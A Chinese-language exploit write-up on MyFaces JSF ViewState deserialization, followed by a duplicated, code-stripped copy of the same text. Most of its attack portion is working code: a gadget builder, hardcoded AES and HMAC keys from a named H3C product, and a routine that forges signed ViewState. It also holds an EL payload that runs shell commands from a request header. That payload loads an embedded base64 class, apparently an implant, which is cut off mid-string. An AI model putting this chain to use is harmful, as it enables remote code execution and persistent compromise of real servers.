JSF 规范下反序列化实现的特殊性研究
字数 1639 2025-09-01 11:25:53

JSF规范下反序列化实现的特殊性研究

0x01 JSF框架简介

JSF(JavaServer Faces)是Java EE平台上的标准Web框架,采用组件化和事件驱动模型,简化了Java Web应用的用户界面开发。Apache MyFaces是JSF的一个开源实现,提供了完整的JSF功能和扩展:

  • 支持Facelets视图技术
  • 增强的组件库和性能
  • 广泛应用于企业级Java网页开发
  • 与JSF规范完全兼容
  • 支持EL表达式等现代特性

0x02 反序列化漏洞原理

JSF应用中存在的不安全反序列化漏洞主要源于JSF框架对视图状态(ViewState)的处理机制:

  1. ViewState用于保存页面组件的状态
  2. 通常以序列化对象形式存储在客户端(隐藏字段)或服务器端
  3. 当JSF框架(如Apache MyFaces或Mojarra)在反序列化ViewState时
  4. 如果没有对传入数据进行充分验证或加密保护
  5. 攻击者可构造恶意序列化数据,利用反序列化过程执行任意代码

漏洞触发点通常出现在以.xhtml.jsf结尾的接口中。

0x03 漏洞详细分析

处理流程

  1. 当传入javax.faces.ViewState参数时,进入处理流程
  2. 调用org.apache.myfaces.renderkit.html.HtmlResponseStateManager#getSavedState
  3. 从facesContext获取RequestParam传值
  4. 调用decode进行解码
  5. 解码过程中调用StateUtils.reconstruct(token, facesContext.getExternalContext())还原对象

加密与压缩配置

框架会检查以下配置:

  1. 是否设置了加密
  2. 是否开启了gzip压缩
  3. 默认情况下开启加密,不使用gzip压缩

加密相关配置从web.xml中获取,包括:

  • org.apache.myfaces.ALGORITHM - 加密算法(默认DES/ECB/PKCS5Padding)
  • org.apache.myfaces.MAC_ALGORITHM - MAC算法(默认HmacSHA1)
  • org.apache.myfaces.SECRET - 加密密钥(随机生成)
  • org.apache.myfaces.MAC_SECRET - MAC密钥(随机生成)

反序列化关键点

  1. 数据还原成数组后取分隔最后20位
  2. 用最后20位对前面的数组数据进行验签
  3. 签证通过后调用cipher.doFinal()对前面的数据解码
  4. 最终调用org.apache.myfaces.shared.util.StateUtils#getAsObject进行反序列化
  5. 默认使用JDK反序列化,除非自定义实现

0x04 MyFaces自带Gadget

MyFaces框架自带一条可利用的gadget链:

org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression

利用点:

  • equalshashCode方法会调用getMethodExpression
  • 从当前faceContext中获取elContext
  • 直接调用getValue触发EL表达式执行

注意:

  • 需要构造FacesContext环境
  • 属性限制为javax.el.ValueExpression类型

0x05 Gadget构造方法

public static Object generatePayload(String payloads) throws Exception {
    // 初始化 FacesContext 及ELContext
    FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
    FacesELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
    
    // 使用反射将 elContext 写入 FacesContextImpl 中
    Field field = FacesContextImplBase.class.getDeclaredField("_elContext");
    field.setAccessible(true);
    field.set(fc, elContext);
    
    ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
    ValueExpression harmlessExpression = expressionFactory.createValueExpression(elContext, payloads, Object.class);
    ValueExpressionMethodExpression expression = new ValueExpressionMethodExpression(harmlessExpression);
    
    HashMap hashMap = utils.makeMap(expression, expression);
    return hashMap;
}

0x06 实际案例分析

以H3C某产品为例,其配置如下:

<context-param>
    <param-name>javax.faces.FACELETS_SKIP_COMMENTS</param-name>
    <param-value>true</param-value>
</context-param>
<context-param>
    <param-name>facelets.BUILD_BEFORE_RESTORE</param-name>
    <param-value>true</param-value>
</context-param>
<context-param>
    <param-name>org.apache.myfaces.ALGORITHM</param-name>
    <param-value>AES</param-value>
</context-param>
<context-param>
    <param-name>org.apache.myfaces.ALGORITHM.PARAMETERS</param-name>
    <param-value>CBC/PKCS5Padding</param-value>
</context-param>
<context-param>
    <param-name>org.apache.myfaces.ALGORITHM.IV</param-name>
    <param-value>NzY1NDMyMTA3NjU0MzIxMA==</param-value>
</context-param>
<context-param>
    <param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
    <param-value>HmacSHA1</param-value>
</context-param>
<context-param>
    <param-name>org.apache.myfaces.SECRET</param-name>
    <param-value>MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz</param-value>
</context-param>
<context-param>
    <param-name>org.apache.myfaces.MAC_SECRET</param-name>
    <param-value>aW1jX3BsYXQ=</param-value>
</context-param>
<context-param>
    <param-name>org.apache.myfaces.SECRET.CACHE</param-name>
    <param-value>false</param-value>
</context-param>
<context-param>
    <param-name>org.apache.myfaces.MAC_SECRET.CACHE</param-name>
    <param-value>false</param-value>
</context-param>
<context-param>
    <param-name>org.apache.myfaces.ERROR_HANDLING</param-name>
    <param-value>false</param-value>
</context-param>

加密解密实现

public static byte[] aencode(byte[] insecure) {
    try {
        // 使用与解密相同的Base64密钥和IV
        byte[] SECRETbytes = Base64.getDecoder().decode("MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz".getBytes());
        byte[] MacSecret = Base64.getDecoder().decode("aW1jX3BsYXQ=".getBytes());
        byte[] _iv = Base64.getDecoder().decode("NzY1NDMyMTA3NjU0MzIxMA==".getBytes());
        
        String Algorithm = "AES";
        String MAC_ALGORITHM = "HmacSHA1";
        
        SecretKey secretKey = new SecretKeySpec(SECRETbytes, Algorithm);
        SecretKey macSecretKey = new SecretKeySpec(MacSecret, MAC_ALGORITHM);
        
        // 初始化Cipher
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        IvParameterSpec ivSpec = new IvParameterSpec(_iv);
        cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivSpec);
        
        // 执行加密
        byte[] encrypted = cipher.doFinal(insecure);
        
        // 计算HMAC
        Mac mac = Mac.getInstance(MAC_ALGORITHM);
        mac.init(macSecretKey);
        byte[] hmac = mac.doFinal(encrypted);
        
        // 拼接加密数据和HMAC
        byte[] result = new byte[encrypted.length + hmac.length];
        System.arraycopy(encrypted, 0, result, 0, encrypted.length);
        System.arraycopy(hmac, 0, result, encrypted.length, hmac.length);
        return result;
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }
}

0x07 利用方式

通过javax.faces.context.FacesContext可以获取各种对象,例如:

facesContext.getExternalContext().getResponse().getWriter()

这样就可以实现写入或回显功能。

对于JDK8+环境,可以使用以下方法绕过限制:

  1. 使用bypassmodule绕过
  2. 使用单类名(不要包名)
  3. 使用java.lang包开头的类名

EL表达式利用示例

String expr = "${facesContext.getExternalContext().setResponseHeader(\"Content-Type\", \"text/plain;charset=UTF-8\")}\n" +
    "${session.setAttribute(\"scriptfactory\",\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance())}\n" +
    "${session.setAttribute(\"scriptengine\",session.getAttribute(\"scriptfactory\").getEngineByName(\"JavaScript\"))}\n" +
    "${session.getAttribute(\"scriptengine\").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}\n" +
    "${session.getAttribute(\"scriptengine\").eval(\"var os=java.lang.System.getProperty(\\\"os.name\\\");var cmd=null;var args=null;if(os.toLowerCase().contains(\\\"win\\\")){cmd=\\\"cmd.exe\\\";args=\\\"/C\\\";}else{cmd=\\\"/bin/bash\\\";args=\\\"-c\\\";}var proc = new java.lang.ProcessBuilder(cmd,args,\\\"\".concat(request.getHeader(\"X-Sec\")).concat(start();var is=proc.getInputStream();var sc=new java.util.Scanner(is,\\\"UTF-8\\\");var out=while(sc.hasNext()){out+=sc.nextLine()+String.fromCharCode(10);}print(out);\"))}\n" +
    "${session.getAttribute(\"scriptengine\").eval(\"var s = 'yv66vgAAADIBPgEABGhhc3gHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAMZ2V0Q2xhc3NOYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAF9vcmcuYXBhY2hlLmNvbGxlY3Rpb25zLmNveW90ZS5zZXIuaW1wbC5VbndyYXBwaW5nQmVhblNlcmlhbGl6ZXI3NzBlZWQ1NzA3ZGI0NDZkOWVmOTZhMGE2MzU1ODhmZQgABwEAD2dldEJhc2U2NFN0cmluZwEAE2phdmEvaW8vSU9FeGNlcHRpb24HAAoBABBqYXZhL2xhbmcvU3RyaW5nBwAMAQwcSDRzSUFBQUFBQUFBQUxWWGVWeFUxeFgrSGpQd2htRTBjVkFVYlpPNHd6QXdpR3hDRmtVaEVBR05ZekJJVFBybXpRVkdoNW54elJzVTI5ZzJ0ZW1XcG52VGRGK1MwamEyMVRZT0t0VVl1NlJOOXlYZDk3MXArMy8vU2RQdnZ2Y1l0a0g4cHorR3Q5eDd6bmZPL2M1eTczdit2eGN2QTlpQ2Z5dDRJR2tNaGJTVXBnK0xrSjZNeDRWdXhwS0pOSi9Ia3FZSXBZVVJpbzJrNHFGN0VzY01MWldLSlliYWhKWUlDeU9teFdNbmhOSFVWQ3RFdEtHcHRpa2FxYTl2akc0VGc5c2F0VnF0Y1d0RFEzUHpvRkNoS0ZoeFdCdlZRbkV0TVJUYUdkZlM2ZTZrRmhXR0NwZUNEWExxdUxRekdoZG1LR3pmOTRtakdaRTJ1Mk5wVXlTa1pLR0NvbHRqaVpoNXV3SlhSV1dmQXZmT1pGUW91S0U3bGhDOW1aR0lNUFpya1RoSC9OMUpYWXYzYWZTUTc4NmcyeHlPcFJWbzNmL241YmI2b01MamhSdExGYXl1Nk02NzhGYnB2NklyV0xuQXZBUzVVWUtVVW02SS9GVU10RlhPbFczbFhFUkJ3VUNiZ3BLb0dDUVAxamhoS2Q3Vk5WL0JoM0tzbHJCckZOeG8yQlR2NHIrUkhCTlJCWnRzZHhjS1J2dW9TSmlXNjZYcCtSTUsxbCtITnFQajJPMWlMRzFPYWJsMDJ0UDI0N3BJeVppb1dNZUZPNWk2TVpZeWs2R2RzZFF3NlZIZ01VUTZ4Ymd4c25PZEhqYk5WS2lUbDV4OVc1SmFhbHFrMDRSV2NNdkNTcFlFaFYzSnlHR1pYcFpyR1RNV0QvVm9LUW5pTEVEQjVrVXRXNExVV2Jzb015cXFGV3k4TGp3VkljYnEraGF0WW91Q202NjlWaFZiRlN5WnRVd1ZEUndLbTVwK2hHOU9DUzBiRXVac1Q4aGpSZVUxbzg2VWE4WTJMMnJRb3NBN0xHUjI5Mm9qVnBWT3h6eHNHaXcweXQ2SzI0cFJBTlo0TVkxMVd1SzV2SndsVzVsUGZUdDJsS0FXc2g1c1UzMWFQQ044MkdYRHRqUHI1MnFwdUpQWnBDY1RwaFpMc0hUV3pDclpZYzBJeTRVa2RORmFlZENITHR6bFJTZDJLeWdibWlhNXcwaU81Qmk1ZS9GOHRKbVpTOXlDZWV0REQzcTk5SDhQS2JSaTRDVHh1bm5rejB0akgrN0dQc2xKbVBHYkRuR25saDYyd255UEYzMVk2a0VWOHoyVm9mdk5NOWUvSjNLWS9iRjEva2psL0NFZituR3dCSTBZOEdDakI1dlpuREllUE1ET20yTHI4VUd6WThDRzVhRWhLekNzb0R5UnpXT3R6NGNvUkFucU1VZy9kN1NIUFJoMm1zYWMxcUNDTlZ0Q2tyb1NhVk5qMkJSVUxwZzljOXVLRDNHTWVIRUU1UGJtV1FMcGxOQ1oyYm9oek4xaUxNdzNGU211aEliYXhrekJ2SEZYVkE2MCtXQWdMUlBFdEh0d0hzTjlzcldQZW5FVXg2Z2tOelFwMm1WTHBvV2VNV0xtV0loR0xORXhuSkQrdkhwVzR0cXNxSGpRZHNEcCthVVYrZnI5YS9FNkwwN2k5V3hrY3laVnZFSEIwaWw5ZTk5UlVENGZKYmNsdlJFUGUzRUtiNUtwV0dwWDZENm5RbGRQcWNXU29iYk00S0F3Uk5TZW85NWI4VGFaZ1krd2FQTExxSGpVNnVoYVZPN2xDcFpYNUszdWQrSmRYcndENzFiZ2kyaHAwVmkvUytqV0VhQXNYNFJsTk42TDkwbG4zOCttSFUxMnhCSmFuS2NJdVpYS3lRL2djY250QjMxWWdUSXA5bUZtVGtJY204NmMyWDdrOHZ5aitKams0ZVBFWWlscjhiVGNuL05rTGZ2RkovRXBTZjhUTE56Y3ZrYnhRbExYMGJkb3NlVnBkVGtueHZFWjZmTm5uZTV1ei9ZbXd4bDl1Q01tNHRFWjIraFRUTFJSeldpWTJ2VVdsbTIxSld0bmQyZkhwajIzeGI3Vk1WVm1pQmhpVUo2a1FoYWNJOGxOWlZtZUk4dktCYlJVWkpubEpJWlJqV3ZNRFd0VVFmVWl6WCsyYVIvTzQ0S016a1h1WDdKWFpsTEMwT05XQi9xS3JJVlR1RFFuWExNcTh4a3ZUdU1LZGRQQzNLSHJzb3ZheDhlS2cxTGdLcjdxeFFTK3hpNUU4RGs3MDdWNjR6ZnduRlQ4Sm1OUGIwNmNrQmxwWmE4eGRjYVpjL3FSQnhBZXpKamM2VXlpWmlTVzFtdmFkb1RicDVMZThPQjd4QmhNT3J2cHhrVlltdW9IUDhBUEpRYy9ZZzNaOXUxSzlPQW5ka0gzQ0hNNFNkYTM1OEVibUllWEx3NDJBazM5RkQrVHBuNnVZTlZDVWlwK3lTS0tKVWFUUjdpR2JYbklITGhPZm4rTjMzanhLL3hXeFNxblY5YklqYTZteldvVUh2ekIzanB6NVAySmRtMENQUGdMTmZTdFRYWFJ4bWdrMGhEWm9qZlVSeno0R3lWa0JxUk1ELzdCNS8wSGpMSGpCeno0SjlheTd0emdFRnk4Y2wvanA1UWlqeTdXZlpkMTkvQkp0YTdGZkd1M0pJR1ZnUW5jRVBELy9SejBnUC9GYzdnajRQL1hPWFNjNVZRQnZMektrZ2JLK0xjU0pYenkyV3E4TDdIQStWWGdRTzZsQzFKMlZhQnFBc3NYeDF4TmxEVVdacG10NTJES3AyWHdFMVdSZmRCQnY4MUJMdzVVdWFvdVQrQVZaM0p3UlpaTE44K0FLczVCRmRQSUtndnFsYmpKZ1dxd05PbjgyVGtRRzJaQUtEa0k3cnk0eFlKWU93V2hQRUVObFhOWHE3Sm92WUxhbm1EZ2FkeHhBVHNMV0ZkUFRiL3dvU09MN3NmeFdDQTRnYjI5d1F2WXI2REZQWW0rL2drY2FDa3NML1RmeThIN1hEakF4MFBWdWNmN3k5M09zOXYvS3NMb0Z6RGtnajkySHNtV292S2l3a2tjN1pmRFdXVDhzUWtjeitJMWt5am9EMlR4VUJadm5zQmJ5b3NDQkg2N2dpemVrOFZqV1h3b2k0OWs4WW55d2l5ZVBEQ093cGFpY2JoN3o4b1RFRnZVSk5Zek9TN2hDdTh1aTVNT1JnSFl6TkZLL2dVUVFoV2FFT1NSdGhxN2VYenU0MGlFWCt4SjFHRVVXL0VJRDBQbmVkcWFKTUdYMEVLa1pqekxKSlNjZHNvakJ0cUl1SUhNaGZBb05tSVQ3VFRoWVZxb1lHeTM0MEhMU3FGa05jZjlWWWQ3RHk3U2VwQytObkYwRTl3djAweVJpZ0lWTlNwcVZkU3BxRmRwWEZHeC9qOVEybmlUc2VVeGxkZFBVMGVXeDNvci9KMGNrVmFDU2srVi85N3orSnovRUM5WFVOY3pqdkxlcWhsdm5oYjNPRno4QmM5UXA0RGVMeWZHQ3ZxMFRzTFRXKzU1SEplb0wzQTFFclZaNlpFeDZLMzJuM3dTWmRYTWowa2lMV2x4VjJkeHVYZjg1UmVEejhFM2lkUDlMSkpubndtNnMvaDZrQXJmT2tQL2xxQ1UyWGZhNGIrT0xBQTdpYitMN0hWd3RwUHpYWlM0aXltOW13bmRUVzcya05HOWpNZyt5b2N0cnV2cHh5citmeDVmNEtycEViNklNeGFielRqTE91TDNPWW42RXI3TU96L0c4RFRPV1pFQTErZCtDYXFLQ1JXbmVsV2NMdmJOb0U2Ulp4ZG5zUzh4aUhLeFkvN3ZuOGVQZTRMK0Y5eVhjS3JmNWU4TVovR0xJTE9NN3lmN1hWVjgvZDBWL0Q3M085UGoveU0xeU02ZlhkU2dzTUw3U1VxMXVNdkp4VVArdjg1RUtuY3ZoR1BWYXkyOW44clcxWFFKUFBBWDRTQkhCOGpHZlZ6dklYSjB2OFhLN1p3cFlnNDl6OVVXY0dhSDllVGlmRFcrVFg3YzFMaVRuSDNIcXY2eFhBYU80YnNXWjAxMmx6Z3FFMnVhRlB3UGpyL3pPYmdTQUFBPQgADgEABjxpbml0PgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAEAARCgANABIBAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAVDAAQABQKAAQAFwEACmdldENvbnRleHQBABIoKUxqYXZhL3V0aWwvTGlzdDsMABkAGgoAAgAbAQAOamF2YS91dGlsL0xpc3QHAB0BAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsMAB8AIAsAHgAhAQASamF2YS91dGlsL0l0ZXJhdG9yBwAjAQAHaGFzTmV4dAEAAygpWgwAJQAmCwAkACcBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsMACkAKgsAJAArAQALZ2V0TGlzdGVuZXIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwALQAuCgACAC8BAAthZGRMaXN0ZW5lcgEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgwAMQAyCgACADMBACYoKUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwA2AQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcAOAEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24HADoBABNqYXZhL3V0aWwvQXJyYXlMaXN0BwA8CgA9ABcBABBqYXZhL2xhbmcvVGhyZWFkBwA/AQAKZ2V0VGhyZWFkcwgAQQEADGludm9rZU1ldGhvZAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7DABDAEQKAAIARQEAE1tMamF2YS9sYW5nL1RocmVhZDsHAEcBAAdnZXROYW1lDABJAAYKAEAASgEAHENvbnRhaW5lckJhY2tncm91bmRQcm9jZXNzb3IIAEwBAAhjb250YWlucwEAGyhMamF2YS9sYW
JSF规范下反序列化实现的特殊性研究 0x01 JSF框架简介 JSF(JavaServer Faces)是Java EE平台上的标准Web框架,采用组件化和事件驱动模型,简化了Java Web应用的用户界面开发。Apache MyFaces是JSF的一个开源实现,提供了完整的JSF功能和扩展: 支持Facelets视图技术 增强的组件库和性能 广泛应用于企业级Java网页开发 与JSF规范完全兼容 支持EL表达式等现代特性 0x02 反序列化漏洞原理 JSF应用中存在的不安全反序列化漏洞主要源于JSF框架对视图状态(ViewState)的处理机制: ViewState用于保存页面组件的状态 通常以序列化对象形式存储在客户端(隐藏字段)或服务器端 当JSF框架(如Apache MyFaces或Mojarra)在反序列化ViewState时 如果没有对传入数据进行充分验证或加密保护 攻击者可构造恶意序列化数据,利用反序列化过程执行任意代码 漏洞触发点通常出现在以 .xhtml 和 .jsf 结尾的接口中。 0x03 漏洞详细分析 处理流程 当传入 javax.faces.ViewState 参数时,进入处理流程 调用 org.apache.myfaces.renderkit.html.HtmlResponseStateManager#getSavedState 从facesContext获取RequestParam传值 调用decode进行解码 解码过程中调用 StateUtils.reconstruct(token, facesContext.getExternalContext()) 还原对象 加密与压缩配置 框架会检查以下配置: 是否设置了加密 是否开启了gzip压缩 默认情况下开启加密,不使用gzip压缩 加密相关配置从web.xml中获取,包括: org.apache.myfaces.ALGORITHM - 加密算法(默认DES/ECB/PKCS5Padding) org.apache.myfaces.MAC_ALGORITHM - MAC算法(默认HmacSHA1) org.apache.myfaces.SECRET - 加密密钥(随机生成) org.apache.myfaces.MAC_SECRET - MAC密钥(随机生成) 反序列化关键点 数据还原成数组后取分隔最后20位 用最后20位对前面的数组数据进行验签 签证通过后调用 cipher.doFinal() 对前面的数据解码 最终调用 org.apache.myfaces.shared.util.StateUtils#getAsObject 进行反序列化 默认使用JDK反序列化,除非自定义实现 0x04 MyFaces自带Gadget MyFaces框架自带一条可利用的gadget链: org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression 利用点: equals 和 hashCode 方法会调用 getMethodExpression 从当前faceContext中获取elContext 直接调用 getValue 触发EL表达式执行 注意: 需要构造FacesContext环境 属性限制为 javax.el.ValueExpression 类型 0x05 Gadget构造方法 0x06 实际案例分析 以H3C某产品为例,其配置如下: 加密解密实现 0x07 利用方式 通过 javax.faces.context.FacesContext 可以获取各种对象,例如: 这样就可以实现写入或回显功能。 对于JDK8+环境,可以使用以下方法绕过限制: 使用 bypassmodule 绕过 使用单类名(不要包名) 使用 java.lang 包开头的类名 EL表达式利用示例